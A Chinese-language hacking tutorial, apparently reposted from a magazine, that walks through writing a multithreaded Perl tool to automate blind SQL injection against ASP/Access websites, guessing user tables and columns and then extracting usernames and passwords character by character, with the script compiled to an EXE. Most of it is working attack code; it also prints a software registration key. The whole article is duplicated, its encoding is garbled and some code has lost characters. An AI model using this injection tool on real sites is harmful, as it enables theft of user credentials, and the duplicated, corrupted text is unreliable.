PERL鑄造多線程 支持中文破解SQL自動(dòng)注入猜解機(jī)
發(fā)布日期:2021-12-17 20:27 | 文章來(lái)源:站長(zhǎng)之家
說(shuō)到SQL注入機(jī),從娃娃針對(duì)動(dòng)網(wǎng)文章的dvTxt.pl到臭要飯的絕世猜解CSC、NB聯(lián)盟的NBSI,大家也都用過(guò)吧?
開(kāi)天始祖 dvTxt.pl,也不知被改了多少遍,以用于針對(duì)各種不同的有SQL注入漏洞的系統(tǒng),通?!逗诜馈返囊黄?*存在SQL注入漏洞》的文章,末了,都要把這尊大佛抬出來(lái),更改幾個(gè)字段,然后,又一個(gè)**專(zhuān)殺工具出土了!對(duì)于臭要飯的絕世猜解CSC,我用得已經(jīng)是忍無(wú)可忍了, 雖然采用了多線程技術(shù),但是依然彌補(bǔ)不了算法低劣的惡劣影響,破解由于采用的是字典,不僅速度慢,同時(shí)也限制了對(duì)中文這樣的雙字節(jié)字符的破解,而NBSI,破解算法雖然得到了改進(jìn),但是卻忘了多線程,而且在猜解表名、列名時(shí),共用一個(gè)大字典,白白浪費(fèi)掉不少時(shí)間。兩個(gè)東西拼在一起就好了,可是沒(méi)有原代碼阿(可視化開(kāi)發(fā)工具,在下也只會(huì)用VB)?! 也不知道老大們是不是用一種語(yǔ)言開(kāi)發(fā)的,就算是同一種,就算是VB,也沒(méi)有人誰(shuí)愿意提供原代碼阿,無(wú)奈…只好響應(yīng)主席號(hào)召:自己動(dòng)手,豐衣足食!
程序不過(guò)是將手動(dòng)變?yōu)樽詣?dòng),先來(lái)痛苦地回憶一下手動(dòng)注入猜解的過(guò)程:1.找到注入點(diǎn)->2.構(gòu)造SQL查詢(xún)語(yǔ)句->3.提交 URL->4.根據(jù)瀏覽器返回信息判斷SQL查詢(xún)語(yǔ)句正確性->5.修正SQL查詢(xún)語(yǔ)句->6.重復(fù)3.4.5步N遍,直到得到數(shù)據(jù)庫(kù)存儲(chǔ)的正確信息。
翻譯成程序語(yǔ)言:1.輸入存在SQL注入漏洞的URL($url)->2.從URL中提取主機(jī)($host)、路徑($path)、端口($port)->3. 構(gòu)造SQL查詢(xún)語(yǔ)句加入U(xiǎn)RL($url)->4.用IO::Socket向目標(biāo)主機(jī)提交 URL ->5.從返回的頁(yè)面中提取查詢(xún)邏輯值為真(假)時(shí)存在的字符($info),成功則轉(zhuǎn)入對(duì)下一目標(biāo)值的猜解,失敗則繼續(xù)重復(fù)3.4.5 步。
猜解全局流程圖如下:
用戶(hù)信息表 - > 用戶(hù)名字段 - > 密碼字段 - > ID字段 - > 最小用戶(hù)ID - > 用戶(hù)名長(zhǎng)度- > 密碼長(zhǎng)度 - > 用戶(hù)名 - > 密碼
說(shuō)得有點(diǎn)簡(jiǎn)約,因?yàn)檫@些東西普及得實(shí)在厲害,更詳細(xì)的內(nèi)容,大家可以參閱《黑客防線》第5期的SQL注入專(zhuān)題,理論講完了,大家也都情不自禁、心急火燎、磨刀霍霍……
LET’GO!
一. 提取$URL中的主機(jī)($host)、路徑($path)、端口($port)
還曾記得娃娃的那個(gè)dvTxt.pl,還有它那煩瑣的用法:dvTxt.pl <host> <way> <articleID> <errInfo> ,$URL一家三口被活生生的拆散,蒼天啊!
在使用中,復(fù)制粘貼起來(lái)極為不便,其實(shí),使用PERL強(qiáng)大的正則表達(dá)式,一卻都可以迎刃而解,先來(lái)隨便觀察幾個(gè)URL:http://www.hemon.tk/show.asp?id=957 、http://www.hemon.tk:1314/show.asp?id=957 、 http://www.hemon.tk/article/show.asp?id=957 。透過(guò)現(xiàn)象看本質(zhì),規(guī)律也就出來(lái)了:(http://)主機(jī)(:端口)/ 路徑 。()內(nèi)字符出現(xiàn)0或1次。
正則表達(dá)式也就有了:
程序代碼:
if($url=~/(\/\/)?(. ?)\/(. )/)
{
$host=$2;
$path='/'.$3;
if($host=~/(. ):(. )/)
{
$host=$1;
$port=$2;
}
}
在“$url=~/(\/\/)?(. ?)\/(. )/”中,先要說(shuō)一說(shuō)那個(gè)?,?匹配0個(gè)或1個(gè)該字符,所以在輸入鏈接的時(shí)候“http://”可有可無(wú);匹配主機(jī)($host)的是(. ?),為什么不是(. ),因?yàn)閜erl默認(rèn)的貪婪模式,將盡可能多的匹配至后面的字符(在這里是‘/’),所以如果不及時(shí)限定,對(duì)這樣一個(gè)URL:http://www.hemon.tk/article/show.asp?id=957 ,$host將匹配至www.hemon.tk/article ,而不是我們想要的 www.hemon.tk 。
二. IO::Socket提交函數(shù)
經(jīng)過(guò)剛才的努力,也該是回報(bào)的時(shí)候了,趕緊用我們提取得到的主機(jī)($host)、路徑($path)、端口($port)寫(xiě)好這個(gè)提交函數(shù):
程序代碼:
sub connect
{
$req = "GET $path$path1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Cookie: \n\n";
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}
Connect 子例程將返回信息存儲(chǔ)在數(shù)組@res中;
三. 猜解用戶(hù)信息表
使用SQL查詢(xún)語(yǔ)句:0<>(select count(*) from TABLE)
真正的破解開(kāi)始了,沒(méi)有什么捷徑可走,順次讀取字典里存儲(chǔ)的表名,然后一個(gè)一個(gè)的嘗試,一旦成功匹配正確信息,立即退出while循環(huán);字典有兩種,一種是數(shù)組,第二是文本字典,PERL腳本我們將編譯為EXE可執(zhí)行文件,為了便于今后修改添加新的表名,我使用文本字典文件:
程序代碼:
open (tabInput,"table.txt") or die "can't open file!\n";
while (chomp(my $input=<tabInput>))
{
my $sql="0<>(select count(*) from $input)";
$path1 = " AND $sql";
&url;
@res = &connect;
if ("@res"=~/$info/)
{
$table_user=$input;
print "the table of userinfo is:$table\n";
last;
}
}
close(tabInput);
四. 猜解字段名
使用SQL查詢(xún)語(yǔ)句:exists (select COL_NAME from TABLE)
這一步同猜解表名如出一轍,一旦成功獲取表名,我們將兵分三路,直取用戶(hù)名列($field_user)、密碼列($field_pass)、ID列($field_id),既然是分兵出擊,就不得不使用多線程,PERL中的多線程,呵呵,你還沒(méi)有試過(guò)吧?
為實(shí)現(xiàn)多線程作的第一個(gè)準(zhǔn)備,編寫(xiě)猜解子例程(函數(shù)),我們依然使用文本字典文件,在這里,文件名作為唯一的參數(shù)傳入:
程序代碼:
sub field_input
{
my $field;
open (fieInput,"$_[0]") or die "can't open file!\n";
while (chomp(my $input=<fieInput>))
{
my $sql="exists (select $input from $table_User)";
$path1 = " AND $sql";
my @res = &connect;
if ("@res"=~/$info/)
{
$field=$input;
print "\t -- $field -- ";
last;
}
}
close(fieInput);
return $field;
}
五.PERL多線程速成
然后,然后當(dāng)然就是學(xué)習(xí)PERL的多線程技術(shù)!?。∫苍S現(xiàn)在你就開(kāi)始膽戰(zhàn)心驚,以為這有什么了不起,呵呵,80/20的瑞士軍刀法則在這里又是那么管用,我們僅僅需要學(xué)習(xí)兩個(gè)函數(shù)就可以結(jié)束我們的速成班:
$thread = threads->create(function, LIST)
以變量名$thread,創(chuàng)建一個(gè)子例程\函數(shù)(FUNCTION)的一個(gè)線程,LIST為子例程\函數(shù)的參數(shù),CREATE可替換為NEW。
$thread->join
等待線程運(yùn)行完畢。一旦結(jié)束運(yùn)行,join()將返回子例程\函數(shù)(FUNCTION)的值。
THAT'S ALL!
就這么簡(jiǎn)單?完了?就這么兩把菜刀就可以干我們的革命了!!!
詳情參閱ActicePerl的幫助文檔:Perl/html/lib/threads.html.
5、4、3、2、1、點(diǎn)火?。?!
程序代碼:
$thread1 = threads->create("field_Input","field_Username.txt");
$thread2 = threads->create("field_Input","field_Password.txt");
$thread3 = threads->create("field_Input","field_ID.txt");
回收返回倉(cāng):
程序代碼:
$field_Username = $thread1->join();
$field_Password = $thread2->join();
$field_ID = $thread3->join();
同時(shí)射出三個(gè)線程,然后JOIN回來(lái),多么完美的落地啊,10分?。。?
五. 猜數(shù)字的技巧
即便是多了幾匹馬,馬再多也沒(méi)有跑不過(guò)火輪車(chē)阿,我們來(lái)研究一下猜解的技巧,回過(guò)頭看看等待我們的任務(wù):最小用戶(hù)ID - > 用戶(hù)名長(zhǎng)度- > 密碼長(zhǎng)度 - > 用戶(hù)名 - > 密碼。
ID 值是天然的數(shù)值,長(zhǎng)度是length($field)是數(shù)值,一位用戶(hù)名和密碼的ASCII碼還是數(shù)值,都玩過(guò)網(wǎng)上的一個(gè)猜數(shù)字的JAVASCRIPT游戲吧?一個(gè)100以?xún)?nèi)的數(shù),為什么只給你7次機(jī)會(huì)去猜?因?yàn)?^7=128,換句話說(shuō),一個(gè)128以?xún)?nèi)的數(shù),你也只需猜7次,那么李詠節(jié)目里頭那些幾千上萬(wàn)塊錢(qián)的東西,又要猜幾次呢?2^13=8192, 2^14=16384,你還愁拿不到獎(jiǎng)品嗎?!
為了讓大家看清楚一點(diǎn),猜一個(gè)8以?xún)?nèi)的數(shù),比如是5,步驟如下:
? < 4 N
? < 6 Y 42
? < 5 N 6 - 1
? = 5
也就用了三次,首先從中值(4)開(kāi)始,每猜解一次加\減中值的一半(2、1),這些2^n都是固定了的,為了避免CPU的重復(fù)計(jì)算,可以根據(jù)猜解值的范圍,相應(yīng)預(yù)備一個(gè)數(shù)組,我準(zhǔn)備了四個(gè):
程序代碼:
@dic1=(128,64,32,16,8,4,2,1); # 最小用戶(hù)ID
@dic2=(16,8,4,2,1); # 用戶(hù)名、密碼長(zhǎng)度
@dic3=(64,32,16,8,4,2,1); # 英文字符
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符
算法函數(shù)如下:
sub crack
{
my(@dic) = @_;
my $sql=pop(@dic);
my $i=0;
my $op=1;
my $crack;
foreach my $pass(@dic)
{
print ">";
$i ;
$crack =$op*$pass;
$path1 = " AND $crack<($sql)";
my @res = &connect;
if ("@res" =~ /$info/)
{
$op=1;
if($i==@dic)
{
$crack ;
}
}
else
{
$op=-1;
}
}
return $crack;
}
$sql="select min($field_ID) from $table_User";
$id=&crack(@dic1,"$sql");
傳遞進(jìn)構(gòu)造的SQL注入語(yǔ)句以及相應(yīng)的數(shù)組字典,CRACK?。?!
參數(shù)為數(shù)組時(shí),子程序只將它賦給一個(gè)數(shù)組變量,my(@dic)而非 my(@dic,$sql) =@_;后者,$sql必然為空!簡(jiǎn)單變量和數(shù)組變量是可以同時(shí)傳遞,$sql在此是@dic的最后一個(gè)元素。 pop(@dic)再刪去列表最后一個(gè)元素($sql),并將其作為返回值,剩下的@dic就是純潔的數(shù)字了。
讓我們一鼓作氣,拿下用戶(hù)名和密碼長(zhǎng)度,同時(shí),別忘了使用多線程:
程序代碼:
$sql="select len($field_Username) from $table_User where field_ID=$id";
my $thread4 = threads->create("crack",@dic2,$sql);
$sql="select len($field_Password) from $table_User where $field_ID=$id";
my $thread5 = threads->create("crack",@dic2,$sql);
$userlen = $thread4->join();
$passlen = $thread5->join();
六.最后的戰(zhàn)役-攻破字段值
使用SQL查詢(xún)語(yǔ)句:select abs(asc(mid($fieUsername,$locat,1))) from $table_User where $field_Id = $id
這里不討論MS-SQL中的猜測(cè),可以說(shuō)MS-SQL下是不用猜測(cè)的,你只要構(gòu)造的條件足夠的好,可以直接讓對(duì)方在報(bào)錯(cuò)的時(shí)候?qū)?shù)據(jù)內(nèi)容直接顯示出來(lái)。
ACCESS 中字符的猜測(cè):首先要判斷ASCII碼值是否大于零,大于,就用@dic3套到CRACK函數(shù)里面,小于就用@dic4了!函數(shù)返回?cái)?shù)值以后,對(duì)于英文字符,有兩種方法:使用nchar($asc)或者pack('C*',$asc);而對(duì)于中文字符:打開(kāi)計(jì)算器,選擇科學(xué)型,轉(zhuǎn)換成十六進(jìn)制單字,是****,用UltraEdit編輯為*字,哈哈……那就不叫編程了!
首先要用sprintf("%X",$asc)完成計(jì)算器的轉(zhuǎn)換十六進(jìn)制的工作,(別忘了用正則表達(dá)式提出最后四位,不然一個(gè)字前面就要冒出兩個(gè)空格)然后再用pack("H*",$str)完成UltraEdit的打包作業(yè):
程序代碼:
sub asc
{
my $asc=$_[0];
my $str;
if ($asc<256)
{
$str = pack('C*',$asc);
}
else
{
$asc*=-1;
$str = sprintf("%X",$asc);
if ($str=~/(.{4})$/i)
{
$str=$1;
}
$str = pack("H*",$str);
}
return $str;
}
萬(wàn)事俱備,只欠東風(fēng),此僅舉猜解密碼值為例,一位密碼啟動(dòng)一個(gè)CRACK子線程:
程序代碼:
for (my $locat=1;$locat<=$passlen;$locat )
{
$sql = "select asc(mid($field_Password,$locat,1)) from $table_User where $field_Id=$id";
$path1 = " AND 0>($sql)";
my @res = &connect;
if ("@res" =~ /$info/)
{
$sql = "select abs(asc(mid($field_Password,$locat,1))) from $table_User where $field_Id=$id";
$password[$locat] = threads->create("crack",@dic4,$sql);
}
else
{
$password[$locat] = threads->create("crack",@dic3,$sql);
}
}
慢慢等待這些孩子們都一個(gè)個(gè)衣錦還鄉(xiāng)吧:
程序代碼:
for (my $locat=1;$locat<=$passlen;$locat )
{
$password[$locat] = $password[$locat]->join();
}
其它的顯示細(xì)節(jié),我就不要意思多說(shuō)了,趕忙編譯EXE。GO!
六. 編譯perl為EXE
從perl2exe的老家http://www.indigostar.com/perl2exe.htm ,DOWN個(gè)最新版本的Perl2Exe for Win32,目前為止是8.40,直接解壓縮,CMD命令行進(jìn)入解壓后的目錄,為了避免瀏覽煩人的廣告,我們先得注冊(cè)一下這個(gè)軟件:
程序代碼:
D:\hemon\software>perl2exe -register
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Please enter your registration key, or press enter to cancel
輸入我的注冊(cè)碼:
hemon:hemon:20040709,36713
注冊(cè)成功之后顯示:
Registered
同時(shí),程序目錄生成一個(gè)名為perl2exe.key的注冊(cè)表文件,可千萬(wàn)移不得??!
編譯PL:
程序代碼:
D:\hemon\software>perl2exe si.pl
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Registered to hemon:hemon:20040709, ENT version
Converting 'si.pl' to si.exe
一個(gè)多線程的、支持中文破解的PERL版注入器就誕生了?。?!
大約能提高一倍的速度,也就是可以節(jié)約一半的時(shí)間,與我的預(yù)期還是有很大出入的。美中不足的是,還真應(yīng)了“欲速則不達(dá)”的古語(yǔ),我提供了兩個(gè)版本(thr.pl\sig.pl),對(duì)于那些網(wǎng)速較慢的網(wǎng)站,呵呵…… 用了你就知道,一般人我不告訴!最好還是改用單線程的,穩(wěn)定性較好。
不過(guò),代碼在手,我就不怕你會(huì)改,增強(qiáng)穩(wěn)定性什么的,稍微加上幾個(gè)函數(shù),讓它支持PHP MYSQL,ASP MSSQL什么的……
一句話:網(wǎng)聚人的力量!支持開(kāi)放原代碼!
開(kāi)天始祖 dvTxt.pl,也不知被改了多少遍,以用于針對(duì)各種不同的有SQL注入漏洞的系統(tǒng),通?!逗诜馈返囊黄?*存在SQL注入漏洞》的文章,末了,都要把這尊大佛抬出來(lái),更改幾個(gè)字段,然后,又一個(gè)**專(zhuān)殺工具出土了!對(duì)于臭要飯的絕世猜解CSC,我用得已經(jīng)是忍無(wú)可忍了, 雖然采用了多線程技術(shù),但是依然彌補(bǔ)不了算法低劣的惡劣影響,破解由于采用的是字典,不僅速度慢,同時(shí)也限制了對(duì)中文這樣的雙字節(jié)字符的破解,而NBSI,破解算法雖然得到了改進(jìn),但是卻忘了多線程,而且在猜解表名、列名時(shí),共用一個(gè)大字典,白白浪費(fèi)掉不少時(shí)間。兩個(gè)東西拼在一起就好了,可是沒(méi)有原代碼阿(可視化開(kāi)發(fā)工具,在下也只會(huì)用VB)?! 也不知道老大們是不是用一種語(yǔ)言開(kāi)發(fā)的,就算是同一種,就算是VB,也沒(méi)有人誰(shuí)愿意提供原代碼阿,無(wú)奈…只好響應(yīng)主席號(hào)召:自己動(dòng)手,豐衣足食!
程序不過(guò)是將手動(dòng)變?yōu)樽詣?dòng),先來(lái)痛苦地回憶一下手動(dòng)注入猜解的過(guò)程:1.找到注入點(diǎn)->2.構(gòu)造SQL查詢(xún)語(yǔ)句->3.提交 URL->4.根據(jù)瀏覽器返回信息判斷SQL查詢(xún)語(yǔ)句正確性->5.修正SQL查詢(xún)語(yǔ)句->6.重復(fù)3.4.5步N遍,直到得到數(shù)據(jù)庫(kù)存儲(chǔ)的正確信息。
翻譯成程序語(yǔ)言:1.輸入存在SQL注入漏洞的URL($url)->2.從URL中提取主機(jī)($host)、路徑($path)、端口($port)->3. 構(gòu)造SQL查詢(xún)語(yǔ)句加入U(xiǎn)RL($url)->4.用IO::Socket向目標(biāo)主機(jī)提交 URL ->5.從返回的頁(yè)面中提取查詢(xún)邏輯值為真(假)時(shí)存在的字符($info),成功則轉(zhuǎn)入對(duì)下一目標(biāo)值的猜解,失敗則繼續(xù)重復(fù)3.4.5 步。
猜解全局流程圖如下:
用戶(hù)信息表 - > 用戶(hù)名字段 - > 密碼字段 - > ID字段 - > 最小用戶(hù)ID - > 用戶(hù)名長(zhǎng)度- > 密碼長(zhǎng)度 - > 用戶(hù)名 - > 密碼
說(shuō)得有點(diǎn)簡(jiǎn)約,因?yàn)檫@些東西普及得實(shí)在厲害,更詳細(xì)的內(nèi)容,大家可以參閱《黑客防線》第5期的SQL注入專(zhuān)題,理論講完了,大家也都情不自禁、心急火燎、磨刀霍霍……
LET’GO!
一. 提取$URL中的主機(jī)($host)、路徑($path)、端口($port)
還曾記得娃娃的那個(gè)dvTxt.pl,還有它那煩瑣的用法:dvTxt.pl <host> <way> <articleID> <errInfo> ,$URL一家三口被活生生的拆散,蒼天啊!
在使用中,復(fù)制粘貼起來(lái)極為不便,其實(shí),使用PERL強(qiáng)大的正則表達(dá)式,一卻都可以迎刃而解,先來(lái)隨便觀察幾個(gè)URL:http://www.hemon.tk/show.asp?id=957 、http://www.hemon.tk:1314/show.asp?id=957 、 http://www.hemon.tk/article/show.asp?id=957 。透過(guò)現(xiàn)象看本質(zhì),規(guī)律也就出來(lái)了:(http://)主機(jī)(:端口)/ 路徑 。()內(nèi)字符出現(xiàn)0或1次。
正則表達(dá)式也就有了:
程序代碼:
if($url=~/(\/\/)?(. ?)\/(. )/)
{
$host=$2;
$path='/'.$3;
if($host=~/(. ):(. )/)
{
$host=$1;
$port=$2;
}
}
在“$url=~/(\/\/)?(. ?)\/(. )/”中,先要說(shuō)一說(shuō)那個(gè)?,?匹配0個(gè)或1個(gè)該字符,所以在輸入鏈接的時(shí)候“http://”可有可無(wú);匹配主機(jī)($host)的是(. ?),為什么不是(. ),因?yàn)閜erl默認(rèn)的貪婪模式,將盡可能多的匹配至后面的字符(在這里是‘/’),所以如果不及時(shí)限定,對(duì)這樣一個(gè)URL:http://www.hemon.tk/article/show.asp?id=957 ,$host將匹配至www.hemon.tk/article ,而不是我們想要的 www.hemon.tk 。
二. IO::Socket提交函數(shù)
經(jīng)過(guò)剛才的努力,也該是回報(bào)的時(shí)候了,趕緊用我們提取得到的主機(jī)($host)、路徑($path)、端口($port)寫(xiě)好這個(gè)提交函數(shù):
程序代碼:
sub connect
{
$req = "GET $path$path1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Cookie: \n\n";
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}
Connect 子例程將返回信息存儲(chǔ)在數(shù)組@res中;
三. 猜解用戶(hù)信息表
使用SQL查詢(xún)語(yǔ)句:0<>(select count(*) from TABLE)
真正的破解開(kāi)始了,沒(méi)有什么捷徑可走,順次讀取字典里存儲(chǔ)的表名,然后一個(gè)一個(gè)的嘗試,一旦成功匹配正確信息,立即退出while循環(huán);字典有兩種,一種是數(shù)組,第二是文本字典,PERL腳本我們將編譯為EXE可執(zhí)行文件,為了便于今后修改添加新的表名,我使用文本字典文件:
程序代碼:
open (tabInput,"table.txt") or die "can't open file!\n";
while (chomp(my $input=<tabInput>))
{
my $sql="0<>(select count(*) from $input)";
$path1 = " AND $sql";
&url;
@res = &connect;
if ("@res"=~/$info/)
{
$table_user=$input;
print "the table of userinfo is:$table\n";
last;
}
}
close(tabInput);
四. 猜解字段名
使用SQL查詢(xún)語(yǔ)句:exists (select COL_NAME from TABLE)
這一步同猜解表名如出一轍,一旦成功獲取表名,我們將兵分三路,直取用戶(hù)名列($field_user)、密碼列($field_pass)、ID列($field_id),既然是分兵出擊,就不得不使用多線程,PERL中的多線程,呵呵,你還沒(méi)有試過(guò)吧?
為實(shí)現(xiàn)多線程作的第一個(gè)準(zhǔn)備,編寫(xiě)猜解子例程(函數(shù)),我們依然使用文本字典文件,在這里,文件名作為唯一的參數(shù)傳入:
程序代碼:
sub field_input
{
my $field;
open (fieInput,"$_[0]") or die "can't open file!\n";
while (chomp(my $input=<fieInput>))
{
my $sql="exists (select $input from $table_User)";
$path1 = " AND $sql";
my @res = &connect;
if ("@res"=~/$info/)
{
$field=$input;
print "\t -- $field -- ";
last;
}
}
close(fieInput);
return $field;
}
五.PERL多線程速成
然后,然后當(dāng)然就是學(xué)習(xí)PERL的多線程技術(shù)!?。∫苍S現(xiàn)在你就開(kāi)始膽戰(zhàn)心驚,以為這有什么了不起,呵呵,80/20的瑞士軍刀法則在這里又是那么管用,我們僅僅需要學(xué)習(xí)兩個(gè)函數(shù)就可以結(jié)束我們的速成班:
$thread = threads->create(function, LIST)
以變量名$thread,創(chuàng)建一個(gè)子例程\函數(shù)(FUNCTION)的一個(gè)線程,LIST為子例程\函數(shù)的參數(shù),CREATE可替換為NEW。
$thread->join
等待線程運(yùn)行完畢。一旦結(jié)束運(yùn)行,join()將返回子例程\函數(shù)(FUNCTION)的值。
THAT'S ALL!
就這么簡(jiǎn)單?完了?就這么兩把菜刀就可以干我們的革命了!!!
詳情參閱ActicePerl的幫助文檔:Perl/html/lib/threads.html.
5、4、3、2、1、點(diǎn)火?。?!
程序代碼:
$thread1 = threads->create("field_Input","field_Username.txt");
$thread2 = threads->create("field_Input","field_Password.txt");
$thread3 = threads->create("field_Input","field_ID.txt");
回收返回倉(cāng):
程序代碼:
$field_Username = $thread1->join();
$field_Password = $thread2->join();
$field_ID = $thread3->join();
同時(shí)射出三個(gè)線程,然后JOIN回來(lái),多么完美的落地啊,10分?。。?
五. 猜數(shù)字的技巧
即便是多了幾匹馬,馬再多也沒(méi)有跑不過(guò)火輪車(chē)阿,我們來(lái)研究一下猜解的技巧,回過(guò)頭看看等待我們的任務(wù):最小用戶(hù)ID - > 用戶(hù)名長(zhǎng)度- > 密碼長(zhǎng)度 - > 用戶(hù)名 - > 密碼。
ID 值是天然的數(shù)值,長(zhǎng)度是length($field)是數(shù)值,一位用戶(hù)名和密碼的ASCII碼還是數(shù)值,都玩過(guò)網(wǎng)上的一個(gè)猜數(shù)字的JAVASCRIPT游戲吧?一個(gè)100以?xún)?nèi)的數(shù),為什么只給你7次機(jī)會(huì)去猜?因?yàn)?^7=128,換句話說(shuō),一個(gè)128以?xún)?nèi)的數(shù),你也只需猜7次,那么李詠節(jié)目里頭那些幾千上萬(wàn)塊錢(qián)的東西,又要猜幾次呢?2^13=8192, 2^14=16384,你還愁拿不到獎(jiǎng)品嗎?!
為了讓大家看清楚一點(diǎn),猜一個(gè)8以?xún)?nèi)的數(shù),比如是5,步驟如下:
? < 4 N
? < 6 Y 42
? < 5 N 6 - 1
? = 5
也就用了三次,首先從中值(4)開(kāi)始,每猜解一次加\減中值的一半(2、1),這些2^n都是固定了的,為了避免CPU的重復(fù)計(jì)算,可以根據(jù)猜解值的范圍,相應(yīng)預(yù)備一個(gè)數(shù)組,我準(zhǔn)備了四個(gè):
程序代碼:
@dic1=(128,64,32,16,8,4,2,1); # 最小用戶(hù)ID
@dic2=(16,8,4,2,1); # 用戶(hù)名、密碼長(zhǎng)度
@dic3=(64,32,16,8,4,2,1); # 英文字符
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符
算法函數(shù)如下:
sub crack
{
my(@dic) = @_;
my $sql=pop(@dic);
my $i=0;
my $op=1;
my $crack;
foreach my $pass(@dic)
{
print ">";
$i ;
$crack =$op*$pass;
$path1 = " AND $crack<($sql)";
my @res = &connect;
if ("@res" =~ /$info/)
{
$op=1;
if($i==@dic)
{
$crack ;
}
}
else
{
$op=-1;
}
}
return $crack;
}
$sql="select min($field_ID) from $table_User";
$id=&crack(@dic1,"$sql");
傳遞進(jìn)構(gòu)造的SQL注入語(yǔ)句以及相應(yīng)的數(shù)組字典,CRACK?。?!
參數(shù)為數(shù)組時(shí),子程序只將它賦給一個(gè)數(shù)組變量,my(@dic)而非 my(@dic,$sql) =@_;后者,$sql必然為空!簡(jiǎn)單變量和數(shù)組變量是可以同時(shí)傳遞,$sql在此是@dic的最后一個(gè)元素。 pop(@dic)再刪去列表最后一個(gè)元素($sql),并將其作為返回值,剩下的@dic就是純潔的數(shù)字了。
讓我們一鼓作氣,拿下用戶(hù)名和密碼長(zhǎng)度,同時(shí),別忘了使用多線程:
程序代碼:
$sql="select len($field_Username) from $table_User where field_ID=$id";
my $thread4 = threads->create("crack",@dic2,$sql);
$sql="select len($field_Password) from $table_User where $field_ID=$id";
my $thread5 = threads->create("crack",@dic2,$sql);
$userlen = $thread4->join();
$passlen = $thread5->join();
六.最后的戰(zhàn)役-攻破字段值
使用SQL查詢(xún)語(yǔ)句:select abs(asc(mid($fieUsername,$locat,1))) from $table_User where $field_Id = $id
這里不討論MS-SQL中的猜測(cè),可以說(shuō)MS-SQL下是不用猜測(cè)的,你只要構(gòu)造的條件足夠的好,可以直接讓對(duì)方在報(bào)錯(cuò)的時(shí)候?qū)?shù)據(jù)內(nèi)容直接顯示出來(lái)。
ACCESS 中字符的猜測(cè):首先要判斷ASCII碼值是否大于零,大于,就用@dic3套到CRACK函數(shù)里面,小于就用@dic4了!函數(shù)返回?cái)?shù)值以后,對(duì)于英文字符,有兩種方法:使用nchar($asc)或者pack('C*',$asc);而對(duì)于中文字符:打開(kāi)計(jì)算器,選擇科學(xué)型,轉(zhuǎn)換成十六進(jìn)制單字,是****,用UltraEdit編輯為*字,哈哈……那就不叫編程了!
首先要用sprintf("%X",$asc)完成計(jì)算器的轉(zhuǎn)換十六進(jìn)制的工作,(別忘了用正則表達(dá)式提出最后四位,不然一個(gè)字前面就要冒出兩個(gè)空格)然后再用pack("H*",$str)完成UltraEdit的打包作業(yè):
程序代碼:
sub asc
{
my $asc=$_[0];
my $str;
if ($asc<256)
{
$str = pack('C*',$asc);
}
else
{
$asc*=-1;
$str = sprintf("%X",$asc);
if ($str=~/(.{4})$/i)
{
$str=$1;
}
$str = pack("H*",$str);
}
return $str;
}
萬(wàn)事俱備,只欠東風(fēng),此僅舉猜解密碼值為例,一位密碼啟動(dòng)一個(gè)CRACK子線程:
程序代碼:
for (my $locat=1;$locat<=$passlen;$locat )
{
$sql = "select asc(mid($field_Password,$locat,1)) from $table_User where $field_Id=$id";
$path1 = " AND 0>($sql)";
my @res = &connect;
if ("@res" =~ /$info/)
{
$sql = "select abs(asc(mid($field_Password,$locat,1))) from $table_User where $field_Id=$id";
$password[$locat] = threads->create("crack",@dic4,$sql);
}
else
{
$password[$locat] = threads->create("crack",@dic3,$sql);
}
}
慢慢等待這些孩子們都一個(gè)個(gè)衣錦還鄉(xiāng)吧:
程序代碼:
for (my $locat=1;$locat<=$passlen;$locat )
{
$password[$locat] = $password[$locat]->join();
}
其它的顯示細(xì)節(jié),我就不要意思多說(shuō)了,趕忙編譯EXE。GO!
六. 編譯perl為EXE
從perl2exe的老家http://www.indigostar.com/perl2exe.htm ,DOWN個(gè)最新版本的Perl2Exe for Win32,目前為止是8.40,直接解壓縮,CMD命令行進(jìn)入解壓后的目錄,為了避免瀏覽煩人的廣告,我們先得注冊(cè)一下這個(gè)軟件:
程序代碼:
D:\hemon\software>perl2exe -register
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Please enter your registration key, or press enter to cancel
輸入我的注冊(cè)碼:
hemon:hemon:20040709,36713
注冊(cè)成功之后顯示:
Registered
同時(shí),程序目錄生成一個(gè)名為perl2exe.key的注冊(cè)表文件,可千萬(wàn)移不得??!
編譯PL:
程序代碼:
D:\hemon\software>perl2exe si.pl
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Registered to hemon:hemon:20040709, ENT version
Converting 'si.pl' to si.exe
一個(gè)多線程的、支持中文破解的PERL版注入器就誕生了?。?!
大約能提高一倍的速度,也就是可以節(jié)約一半的時(shí)間,與我的預(yù)期還是有很大出入的。美中不足的是,還真應(yīng)了“欲速則不達(dá)”的古語(yǔ),我提供了兩個(gè)版本(thr.pl\sig.pl),對(duì)于那些網(wǎng)速較慢的網(wǎng)站,呵呵…… 用了你就知道,一般人我不告訴!最好還是改用單線程的,穩(wěn)定性較好。
不過(guò),代碼在手,我就不怕你會(huì)改,增強(qiáng)穩(wěn)定性什么的,稍微加上幾個(gè)函數(shù),讓它支持PHP MYSQL,ASP MSSQL什么的……
一句話:網(wǎng)聚人的力量!支持開(kāi)放原代碼!
